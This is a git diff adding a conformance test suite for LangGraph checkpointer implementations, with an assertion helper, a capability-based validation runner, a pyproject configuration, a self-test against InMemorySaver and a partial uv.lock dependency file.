assert_tuple_equal( + actual: CheckpointTuple, + expected: CheckpointTuple, + *, + check_writes: bool = True, + check_channel_values: bool = True, +) -> None: + """Assert two CheckpointTuples are semantically equal.""" + # Config + a_conf = actual.config["configurable"] + e_conf = expected.config["configurable"] + assert a_conf["thread_id"] == e_conf["thread_id"], ( + f"thread_id mismatch: {a_conf['thread_id']} != {e_conf['thread_id']}" + ) + assert a_conf.get("checkpoint_ns", "") == e_conf.get("checkpoint_ns", ""), ( + "checkpoint_ns mismatch" + ) + assert a_conf["checkpoint_id"] == e_conf["checkpoint_id"], "checkpoint_id mismatch" + + # Checkpoint + assert_checkpoint_equal( + actual.checkpoint, + expected.checkpoint, + check_channel_values=check_channel_values, + ) + + # Metadata + for k, v in expected.metadata.items(): + assert actual.metadata.get(k) == v, ( + f"metadata[{k}] mismatch: {actual.metadata.get(k)} != {v}" + ) + + # Parent config + if expected.parent_config is not None: + assert actual.parent_config is not None, "expected parent_config, got None" + assert ( + actual.parent_config["configurable"]["checkpoint_id"] + == expected.parent_config["configurable"]["checkpoint_id"] + ), "parent checkpoint_id mismatch" + else: + assert actual.parent_config is None, ( + f"expected no parent_config, got {actual.parent_config}" + ) + + # Pending writes + if check_writes and expected.pending_writes is not None: + assert actual.pending_writes is not None + assert len(actual.pending_writes) == len(expected.pending_writes), ( + f"pending_writes length mismatch: {len(actual.pending_writes)} != {len(expected.pending_writes)}" + ) diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/validate.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/validate.py new file mode 100644 index 0000000..2f29454 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/validate.py @@ -0,0 +1,128 @@ +"""Core conformance runner — detects capabilities, runs test suites, builds report.""" + +from __future__ import annotations + +from langgraph.checkpoint.conformance.capabilities import ( + Capability, + DetectedCapabilities, +) +from langgraph.checkpoint.conformance.initializer import RegisteredCheckpointer +from langgraph.checkpoint.conformance.report import ( + CapabilityReport, + CapabilityResult, + ProgressCallbacks, +) +from langgraph.checkpoint.conformance.spec.test_copy_thread import run_copy_thread_tests +from langgraph.checkpoint.conformance.spec.test_delete_for_runs import ( + run_delete_for_runs_tests, +) +from langgraph.checkpoint.conformance.spec.test_delete_thread import ( + run_delete_thread_tests, +) +from langgraph.checkpoint.conformance.spec.test_delta_channel_history import ( + run_delta_channel_history_tests, +) +from langgraph.checkpoint.conformance.spec.test_get_tuple import run_get_tuple_tests +from langgraph.checkpoint.conformance.spec.test_list import run_list_tests +from langgraph.checkpoint.conformance.spec.test_prune import run_prune_tests +from langgraph.checkpoint.conformance.spec.test_put import run_put_tests +from langgraph.checkpoint.conformance.spec.test_put_writes import run_put_writes_tests + +# Maps capability to its runner function. +_RUNNERS = { + Capability.PUT: run_put_tests, + Capability.PUT_WRITES: run_put_writes_tests, + Capability.GET_TUPLE: run_get_tuple_tests, + Capability.LIST: run_list_tests, + Capability.DELETE_THREAD: run_delete_thread_tests, + Capability.DELETE_FOR_RUNS: run_delete_for_runs_tests, + Capability.COPY_THREAD: run_copy_thread_tests, + Capability.PRUNE: run_prune_tests, + Capability.DELTA_CHANNEL_HISTORY: run_delta_channel_history_tests, +} + + +async def validate( + registered: RegisteredCheckpointer, + *, + capabilities: set[str] | None = None, + progress: ProgressCallbacks | None = None, +) -> CapabilityReport: + """Run the validation suite against a registered checkpointer. + + Args: + registered: A RegisteredCheckpointer (from @checkpointer_test decorator). + capabilities: If given, only run tests for these capability names. + Otherwise, auto-detect and run all applicable tests. + progress: Optional progress callbacks for incremental output. + Use ``ProgressCallbacks.default()`` for dot-style, + ``ProgressCallbacks.verbose()`` for per-test output, or + ``None`` / ``ProgressCallbacks.quiet()`` for silent mode. + + Returns: + A CapabilityReport with per-capability results. + """ + report = CapabilityReport(checkpointer_name=registered.name) + + # Determine which capabilities to test. + caps_to_test: set[Capability] + if capabilities is not None: + caps_to_test = {Capability(c) for c in capabilities} + else: + caps_to_test = set(Capability) + + async with registered.enter_lifespan(): + for cap in Capability: + if cap in caps_to_test and cap.value not in registered.skip_capabilities: + # Create a fresh checkpointer for each capability suite. + async with registered.create() as saver: + detected = DetectedCapabilities.from_instance(saver) + is_detected = cap in detected.detected + + if not is_detected: + if progress and progress.on_capability_start: + progress.on_capability_start(cap.value, False) + report.results[cap.value] = CapabilityResult( + detected=False, + passed=None, + tests_skipped=1, + ) + continue + + runner = _RUNNERS.get(cap) + if runner is None: + report.results[cap.value] = CapabilityResult( + detected=True, + passed=None, + tests_skipped=1, + ) + continue + + if progress and progress.on_capability_start: + progress.on_capability_start(cap.value, True) + + passed, failed, failures = await runner( + saver, + on_test_result=progress.on_test_result if progress else None, + ) + + if progress and progress.on_capability_end: + progress.on_capability_end(cap.value) + + report.results[cap.value] = CapabilityResult( + detected=True, + passed=failed == 0, + tests_passed=passed, + tests_failed=failed, + failures=failures, + ) + else: + if progress and progress.on_capability_start: + progress.on_capability_start(cap.value, False) + report.results[cap.value] = CapabilityResult( + detected=False, + passed=None, + tests_skipped=1, + ) + + return report diff --git a/libs/checkpoint-conformance/pyproject.toml b/libs/checkpoint-conformance/pyproject.toml new file mode 100644 index 0000000..2d9a070 --- /dev/null +++ b/libs/checkpoint-conformance/pyproject.toml @@ -0,0 +1,72 @@ +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "langgraph-checkpoint-conformance" +version = "0.0.2" +description = "Conformance test suite for LangGraph checkpointer implementations." +authors = [{name = "William FH", email = "13333726+hinthornw@users.noreply.github.com"}] +requires-python = ">=3.10" +readme = "README.md" +license = "MIT" +dependencies = [ + "langgraph-checkpoint>=2.0.0", +] + +[project.urls] +Source = "https://github.com/langchain-ai/langgraph/tree/main/libs/checkpoint-conformance" + +[dependency-groups] +test = [ + "pytest", + "pytest-asyncio", +] +lint = [ + "ruff", + "ty", +] +dev = [ + {include-group = "test"}, + {include-group = "lint"}, +] + +[tool.hatch.build.targets.wheel] +include = ["langgraph"] + +[tool.pytest.ini_options] +addopts = "--strict-markers --strict-config --durations=5 -vv" +testpaths = ["tests"] +asyncio_mode = "auto" + +[tool.ty.rules] +# The extended methods (acopy_thread, adelete_for_runs, aprune) are checked +# at runtime via capability detection and may not exist on the installed +# base class. Dict literal inference is also overly strict for RunnableConfig. +# Delta-channel tests import from `langgraph` (not a declared dep of this +# package — at test time it is installed alongside); private `_DeltaSnapshot` +# imports are intentional (beta surface). +unresolved-attribute = "ignore" +unresolved-import = "ignore" +invalid-argument-type = "ignore" +invalid-return-type = "ignore" + +[tool.ruff] +lint.select = [ + "E", # pycodestyle + "F", # Pyflakes + "UP", # pyupgrade + "B", # flake8-bugbear + "I", # isort +] +lint.ignore = ["E501", "B008"] +target-version = "py310" + +[tool.uv.sources] +langgraph-checkpoint = {path = "../checkpoint", editable = true} + +[[tool.uv.index]] +name = "testpypi" +url = "https://test.pypi.org/simple/" +publish-url = "https://test.pypi.org/legacy/" +explicit = true diff --git a/libs/checkpoint-conformance/tests/test_validate_memory.py b/libs/checkpoint-conformance/tests/test_validate_memory.py new file mode 100644 index 0000000..f458c82 --- /dev/null +++ b/libs/checkpoint-conformance/tests/test_validate_memory.py @@ -0,0 +1,21 @@ +"""Self-tests: run the conformance suite against InMemorySaver.""" + +from __future__ import annotations + +import pytest +from langgraph.checkpoint.memory import InMemorySaver + +from langgraph.checkpoint.conformance import checkpointer_test, validate + + +@checkpointer_test(name="InMemorySaver") +async def memory_checkpointer(): + yield InMemorySaver() + + +@pytest.mark.asyncio +async def test_validate_memory_base(): + """InMemorySaver passes all base capability tests.""" + report = await validate(memory_checkpointer) + report.print_report() + assert report.passed_all_base(), f"Base tests failed: {report.to_dict()}" diff --git a/libs/checkpoint-conformance/uv.lock b/libs/checkpoint-conformance/uv.lock new file mode 100644 index 0000000..fd51a6a --- /dev/null +++ b/libs/checkpoint-conformance/uv.lock @@ -0,0 +1,1295 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.13.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, +] + +[[package]] +name = "backports-asyncio-runner" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" }, +] + +[[package]] +name = "certifi" +version = "2026.4.22" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/25/ee/6caf7a40c36a1220410afe15a1cc64993a1f864871f698c0f93acb72842a/certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580", size = 137077, upload-time = "2026-04-22T11:26:11.191Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/30/7cd8fdcdfbc5b869528b079bfb76dcdf6056b1a2097a662e5e8c04f42965/certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a", size = 135707, upload-time = "2026-04-22T11:26:09.372Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/26/08/0f303cb0b529e456bb116f2d50565a482694fbb94340bf56d44677e7ed03/charset_normalizer-3.4.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d", size = 315182, upload-time = "2026-04-02T09:25:40.673Z" }, + { url = "https://files.pythonhosted.org/packages/24/47/b192933e94b546f1b1fe4df9cc1f84fcdbf2359f8d1081d46dd029b50207/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8", size = 209329, upload-time = "2026-04-02T09:25:42.354Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b4/01fa81c5ca6141024d89a8fc15968002b71da7f825dd14113207113fabbd/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790", size = 231230, upload-time = "2026-04-02T09:25:44.281Z" }, + { url = "https://files.pythonhosted.org/packages/20/f7/7b991776844dfa058017e600e6e55ff01984a063290ca5622c0b63162f68/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc", size = 225890, upload-time = "2026-04-02T09:25:45.475Z" }, + { url = "https://files.pythonhosted.org/packages/20/e7/bed0024a0f4ab0c8a9c64d4445f39b30c99bd1acd228291959e3de664247/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393", size = 216930, upload-time = "2026-04-02T09:25:46.58Z" }, + { url = "https://files.pythonhosted.org/packages/e2/ab/b18f0ab31cdd7b3ddb8bb76c4a414aeb8160c9810fdf1bc62f269a539d87/charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153", size = 202109, upload-time = "2026-04-02T09:25:48.031Z" }, + { url = "https://files.pythonhosted.org/packages/82/e5/7e9440768a06dfb3075936490cb82dbf0ee20a133bf0dd8551fa096914ec/charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af", size = 214684, upload-time = "2026-04-02T09:25:49.245Z" }, + { url = "https://files.pythonhosted.org/packages/71/94/8c61d8da9f062fdf457c80acfa25060ec22bf1d34bbeaca4350f13bcfd07/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34", size = 212785, upload-time = "2026-04-02T09:25:50.671Z" }, + { url = "https://files.pythonhosted.org/packages/66/cd/6e9889c648e72c0ab2e5967528bb83508f354d706637bc7097190c874e13/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1", size = 203055, upload-time = "2026-04-02T09:25:51.802Z" }, + { url = "https://files.pythonhosted.org/packages/92/2e/7a951d6a08aefb7eb8e1b54cdfb580b1365afdd9dd484dc4bee9e5d8f258/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752", size = 232502, upload-time = "2026-04-02T09:25:53.388Z" }, + { url = "https://files.pythonhosted.org/packages/58/d5/abcf2d83bf8e0a1286df55cd0dc1d49af0da4282aa77e986df343e7de124/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53", size = 214295, upload-time = "2026-04-02T09:25:54.765Z" }, + { url = "https://files.pythonhosted.org/packages/47/3a/7d4cd7ed54be99973a0dc176032cba5cb1f258082c31fa6df35cff46acfc/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616", size = 227145, upload-time = "2026-04-02T09:25:55.904Z" }, + { url = "https://files.pythonhosted.org/packages/1d/98/3a45bf8247889cf28262ebd3d0872edff11565b2a1e3064ccb132db3fbb0/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a", size = 218884, upload-time = "2026-04-02T09:25:57.074Z" }, + { url = "https://files.pythonhosted.org/packages/ad/80/2e8b7f8915ed5c9ef13aa828d82738e33888c485b65ebf744d615040c7ea/charset_normalizer-3.4.7-cp310-cp310-win32.whl", hash = "sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374", size = 148343, upload-time = "2026-04-02T09:25:58.199Z" }, + { url = "https://files.pythonhosted.org/packages/35/1b/3b8c8c77184af465ee9ad88b5aea46ea6b2e1f7b9dc9502891e37af21e30/charset_normalizer-3.4.7-cp310-cp310-win_amd64.whl", hash = "sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943", size = 159174, upload-time = "2026-04-02T09:25:59.322Z" }, + { url = "https://files.pythonhosted.org/packages/be/c1/feb40dca40dbb21e0a908801782d9288c64fc8d8e562c2098e9994c8c21b/charset_normalizer-3.4.7-cp310-cp310-win_arm64.whl", hash = "sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008", size = 147805, upload-time = "2026-04-02T09:26:00.756Z" }, + { url = "https://files.pythonhosted.org/packages/c2/d7/b5b7020a0565c2e9fa8c09f4b5fa6232feb326b8c20081ccded47ea368fd/charset_normalizer-3.4.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7", size = 309705, upload-time = "2026-04-02T09:26:02.191Z" }, + { url = "https://files.pythonhosted.org/packages/5a/53/58c29116c340e5456724ecd2fff4196d236b98f3da97b404bc5e51ac3493/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7", size = 206419, upload-time = "2026-04-02T09:26:03.583Z" }, + { url = "https://files.pythonhosted.org/packages/b2/02/e8146dc6591a37a00e5144c63f29fb7c97a734ea8a111190783c0e60ab63/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e", size = 227901, upload-time = "2026-04-02T09:26:04.738Z" }, + { url = "https://files.pythonhosted.org/packages/fb/73/77486c4cd58f1267bf17db420e930c9afa1b3be3fe8c8b8ebbebc9624359/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c", size = 222742, upload-time = "2026-04-02T09:26:06.36Z" }, + { url = "https://files.pythonhosted.org/packages/a1/fa/f74eb381a7d94ded44739e9d94de18dc5edc9c17fb8c11f0a6890696c0a9/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df", size = 214061, upload-time = "2026-04-02T09:26:08.347Z" }, + { url = "https://files.pythonhosted.org/packages/dc/92/42bd3cefcf7687253fb86694b45f37b733c97f59af3724f356fa92b8c344/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265", size = 199239, upload-time = "2026-04-02T09:26:09.823Z" }, + { url = "https://files.pythonhosted.org/packages/4c/3d/069e7184e2aa3b3cddc700e3dd267413dc259854adc3380421c805c6a17d/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4", size = 210173, upload-time = "2026-04-02T09:26:10.953Z" }, + { url = "https://files.pythonhosted.org/packages/62/51/9d56feb5f2e7074c46f93e0ebdbe61f0848ee246e2f0d89f8e20b89ebb8f/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e", size = 209841, upload-time = "2026-04-02T09:26:12.142Z" }, + { url = "https://files.pythonhosted.org/packages/d2/59/893d8f99cc4c837dda1fe2f1139079703deb9f321aabcb032355de13b6c7/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38", size = 200304, upload-time = "2026-04-02T09:26:13.711Z" }, + { url = "https://files.pythonhosted.org/packages/7d/1d/ee6f3be3464247578d1ed5c46de545ccc3d3ff933695395c402c21fa6b77/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c", size = 229455, upload-time = "2026-04-02T09:26:14.941Z" }, + { url = "https://files.pythonhosted.org/packages/54/bb/8fb0a946296ea96a488928bdce8ef99023998c48e4713af533e9bb98ef07/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b", size = 210036, upload-time = "2026-04-02T09:26:16.478Z" }, + { url = "https://files.pythonhosted.org/packages/9a/bc/015b2387f913749f82afd4fcba07846d05b6d784dd16123cb66860e0237d/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c", size = 224739, upload-time = "2026-04-02T09:26:17.751Z" }, + { url = "https://files.pythonhosted.org/packages/17/ab/63133691f56baae417493cba6b7c641571a2130eb7bceba6773367ab9ec5/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d", size = 216277, upload-time = "2026-04-02T09:26:18.981Z" }, + { url = "https://files.pythonhosted.org/packages/06/6d/3be70e827977f20db77c12a97e6a9f973631a45b8d186c084527e53e77a4/charset_normalizer-3.4.7-cp311-cp311-win32.whl", hash = "sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad", size = 147819, upload-time = "2026-04-02T09:26:20.295Z" }, + { url = "https://files.pythonhosted.org/packages/20/d9/5f67790f06b735d7c7637171bbfd89882ad67201891b7275e51116ed8207/charset_normalizer-3.4.7-cp311-cp311-win_amd64.whl", hash = "sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00", size = 159281, upload-time = "2026-04-02T09:26:21.74Z" }, + { url = "https://files.pythonhosted.org/packages/ca/83/6413f36c5a34afead88ce6f66684d943d91f233d76dd083798f9602b75ae/charset_normalizer-3.4.7-cp311-cp311-win_arm64.whl", hash = "sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1", size = 147843, upload-time = "2026-04-02T09:26:22.901Z" }, + { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" }, + { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" }, + { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" }, + { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" }, + { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" }, + { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" }, + { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" }, + { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" }, + { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" }, + { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" }, + { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 